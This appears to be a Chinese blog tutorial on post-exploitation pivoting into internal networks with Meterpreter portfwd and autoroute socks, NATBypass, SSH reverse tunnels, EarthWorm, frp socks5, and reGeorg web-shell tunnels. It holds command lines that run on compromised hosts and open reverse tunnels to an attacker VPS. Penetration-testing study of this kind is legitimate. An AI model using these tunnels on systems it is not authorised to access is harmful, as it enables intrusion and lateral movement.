内网渗透代理

Meterpreter

Meterpreter可以说是渗透中用得较多的工具,在反弹了处于内网的目标shell之后,介绍两种代理方式。

portfwd

portfwd用于转发单个端口,当你目的性很强的情况下,比如只需要目标的3389端口等,这不失为一种较好的方法。

详细使用语法见:https://www.offensive-security.com/metasploit-unleashed/portfwd/

大致如下:

<pre style="padding: 16px; font: 12.75px / 1.6 Consolas, "Liberation Mono", Menlo, Courier, monospace; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; word-break: normal; overflow-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; overflow: auto;">meterpreter > portfwd add –l 7003 –p 3389 –r 192.168.52.138

添加转发 -l:服务器监听端口 -p:内网主机需转发端口 -r:目标内网主机ip

meterpreter > portfwd delete –l 3389 –p 3389 –r 172.16.194.191

删除转发

meterpreter > portfwd list

列出当前正在侦听和转发的端口列表

meterpreter > portfwd flush

移除所有转发端口

</pre>

socks代理

socks代理只是tcp一层往上,如icmparp等就无法被代理。

msf中内置了三个socks代理模块,分别是socks4asocks5socks_unc。一般常使用 socks4asocks5进行代理。其二者只是由于所支持的具体应用不同而存在差异。socks4只支持TCP协议而socks5支持TCP/UDP协议,还支持各种身份验证机制等协议,也就是说这里使用socks5的话还需要设置用户名与密码。

[图片上传失败...(image-5e4114-1701410902169)]

在获取shell的机器上添加路由

<pre style="padding: 16px; font: 12.75px / 1.6 Consolas, "Liberation Mono", Menlo, Courier, monospace; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; word-break: normal; overflow-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; overflow: auto;">meterpreter > run get_local_subnets
meterpreter > run autoroute -s 192.168.21.0/24

添加路由

meterpreter > run autoroute -p

显示路由

meterpreter > route flush

删除

</pre>

[图片上传失败...(image-5f151c-1701410902169)]

可以先通过arp扫描内网大概存活机器情况

<pre style="padding: 16px; font: 12.75px / 1.6 Consolas, "Liberation Mono", Menlo, Courier, monospace; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; word-break: normal; overflow-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; overflow: auto;">meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.21.0/24
</pre>

[图片上传失败...(image-4ea23c-1701410902169)]

然后建立socks4代理,

<pre style="padding: 16px; font: 12.75px / 1.6 Consolas, "Liberation Mono", Menlo, Courier, monospace; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; word-break: normal; overflow-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; overflow: auto;">meterpreter > background
msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set srvhost 127.0.0.1
msf5 auxiliary(server/socks4a) > set srvport 1080
msf5 auxiliary(server/socks4a) > run
</pre>

[图片上传失败...(image-191f50-1701410902169)]

设置完成后配置proxychains,成功

[图片上传失败...(image-c2db8-1701410902169)]

socks5模块也同理,只是会多设置一个用户名与密码。

参考:

https://blog.csdn.net/qq_36119192/article/details/105872076

https://klionsec.github.io/2016/09/25/msf-socks4a/

NATBypass

NATBypass是一个端口转发工具,类似于lcx,称为golanglcx,可编译为linuxwindows版本。

具体原理大概就是公网vps监听两个本地端口,内网目标主机建立一个端口转发,比如将本地3389转发到公网vps的一个端口,vps监听的另一个端口就相当于内网主机3389

公网vps

<pre style="padding: 16px; font: 12.75px / 1.6 Consolas, "Liberation Mono", Menlo, Courier, monospace; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; word-break: normal; overflow-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; overflow: auto;">nb -listen 1997 2017
</pre>

内网主机

<pre style="padding: 16px; font: 12.75px / 1.6 Consolas, "Liberation Mono", Menlo, Courier, monospace; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; word-break: normal; overflow-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; overflow: auto;">nb -slave 127.0.0.1:3389 x.x.x.x:1997

x.x.x.x是公网vps的IP

</pre>

本机直接访问公网vps2017端口即可实现远程内网主机。

ssh隧道

ssh可以端口转发或是建立socks5隧道。

公网主机建立SOCKS隧道

如果是具有公网地址的主机利用ssh建立socks5隧道就简单了:

<pre style="padding: 16px; font: 12.75px / 1.6 Consolas, "Liberation Mono", Menlo, Courier, monospace; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; word-break: normal; overflow-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; overflow: auto;">ssh -N -f -D 9070 x.x.x.x
</pre>

[图片上传失败...(image-4519b8-1701410902169)]

随后编辑本机/etc/proxychains.conf文件:

[图片上传失败...(image-177e89-1701410902169)]

代理成功:

[图片上传失败...(image-6b82b9-1701410902169)]

浏览器设置代理:

[图片上传失败...(image-9ff60e-1701410902169)]

[图片上传失败...(image-3e9b8e-1701410902169)]

通过公网主机穿透两个内网

设想一下,你和目标主机分属不同的内网,从外界都无法直接连通。不过好在这两个内网都可以访问公网(JumpHost),你考虑通过一台公网机器建立两个内网之间的隧道。

在目标主机中执行:

<pre style="padding: 16px; font: 12.75px / 1.6 Consolas, "Liberation Mono", Menlo, Courier, monospace; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; word-break: normal; overflow-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; overflow: auto;">ssh -qTfNn -R 2222:localhost:22 JumpHost
</pre>

[图片上传失败...(image-c563d8-1701410902169)]

现在登录公网主机执行:

<pre style="padding: 16px; font: 12.75px / 1.6 Consolas, "Liberation Mono", Menlo, Courier, monospace; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; word-break: normal; overflow-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; overflow: auto;">ssh -p 2222 localhost
</pre>

[图片上传失败...(image-f3ebd2-1701410902169)]

达到的效果只是将目标主机的端口转发到了公网,但是并未实现socks代理,思考后,尝试了后都不成功,不知可行否,若有师傅告知非常感激!

参考:https://cherrot.com/tech/2017/01/08/ssh-tunneling-practice.html

Earthworm

[图片上传失败...(image-21509b-1701410902169)]

简称EW官方项目已停止更新,可在fork地址下载。

详细使用语法见:http://rootkiter.com/EarthWorm/

EW功能很强大,提供“正向”、“反向”、“多级级联”等方式打通隧道,更适用不同的操作系统,LinuxWindowsMacOSArm-Linux 。下面介绍一种简单的反向代理方法。

公网vps执行

<pre style="padding: 16px; font: 12.75px / 1.6 Consolas, "Liberation Mono", Menlo, Courier, monospace; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; word-break: normal; overflow-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; overflow: auto;">./ew_for_linux64 -s rcsocks -l 7010 -e 7011
</pre>

目标内网主机执行

<pre style="padding: 16px; font: 12.75px / 1.6 Consolas, "Liberation Mono", Menlo, Courier, monospace; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; word-break: normal; overflow-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; overflow: auto;">.\ew_for_Win.exe -s rssocks -d x.x.x.x -e 7011

windows

./ew_for_linux64 -s rssocks -d x.x.x.x -e 7011

linux

</pre>

本地攻击机即可通过proxychains或者浏览器设置socks5代理至公网vps7011端口即可。

注:无意间浏览该工具作者的博客发现了该工具的新版本,http://rootkiter.com/Termite/ 还没来得及测试使用,先分享一下。

frp

[图片上传失败...(image-d2e73a-1701410902169)]

frp作为反向代理工具胜在稳定,但是其依赖配置文件,溯源容易。

项目地址:https://github.com/fatedier/frp

可用于端口映射或打通socks隧道,下面介绍socks隧道代理

公网vps主机frps.ini文件

<pre style="padding: 16px; font: 12.75px / 1.6 Consolas, "Liberation Mono", Menlo, Courier, monospace; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; word-break: normal; overflow-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; overflow: auto;">[common]
bind_port = 7000
token = password
</pre>

启动frps

<pre style="padding: 16px; font: 12.75px / 1.6 Consolas, "Liberation Mono", Menlo, Courier, monospace; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; word-break: normal; overflow-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; overflow: auto;">./frps -c ./frps.ini
</pre>

目标内网主机frpc.ini文件

<pre style="padding: 16px; font: 12.75px / 1.6 Consolas, "Liberation Mono", Menlo, Courier, monospace; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; word-break: normal; overflow-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; overflow: auto;">[common]
server_addr = x.x.x.x
server_port = 7000
token = password

[socks5]
type = tcp
remote_port = 7004
plugin = socks5
</pre>

启动frpc

<pre style="padding: 16px; font: 12.75px / 1.6 Consolas, "Liberation Mono", Menlo, Courier, monospace; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; word-break: normal; overflow-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; overflow: auto;">./frpc -c ./frpc.ini
</pre>

本地攻击机修改/etc/prxoychains.conf配置文件即可

<pre style="padding: 16px; font: 12.75px / 1.6 Consolas, "Liberation Mono", Menlo, Courier, monospace; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; word-break: normal; overflow-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; overflow: auto;">socks5 x.x.x.x 7004
</pre>

基于web服务的socks5隧道

基于web服务的socks隧道使用方便,可用于突破网络限制。常用的工具有:reGeorgreDuhTunna等。

使用方法都大致一样,上传对应网站语言的脚本文件到目标内网服务器,本地利用脚本连接建立socks5隧道即可。

比如reGeorg

根据目标服务器解析语言,选择脚本上传到服务器端,访问显示Georg says, 'All seems fine',表示脚本运行正常。

[图片上传失败...(image-161ee1-1701410902168)]

本地攻击主机运行

<pre style="padding: 16px; font: 12.75px / 1.6 Consolas, "Liberation Mono", Menlo, Courier, monospace; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; word-break: normal; overflow-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; overflow: auto;">python2 reGeorgSocksProxy.py -p 7001 -u http://url/tunnel.php
</pre>

[图片上传失败...(image-e6bb8f-1701410902168)]

监听7001端口,出现Georg says, 'All seems fine'字样表明运行正常。可结合prxoychains进行代理。

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容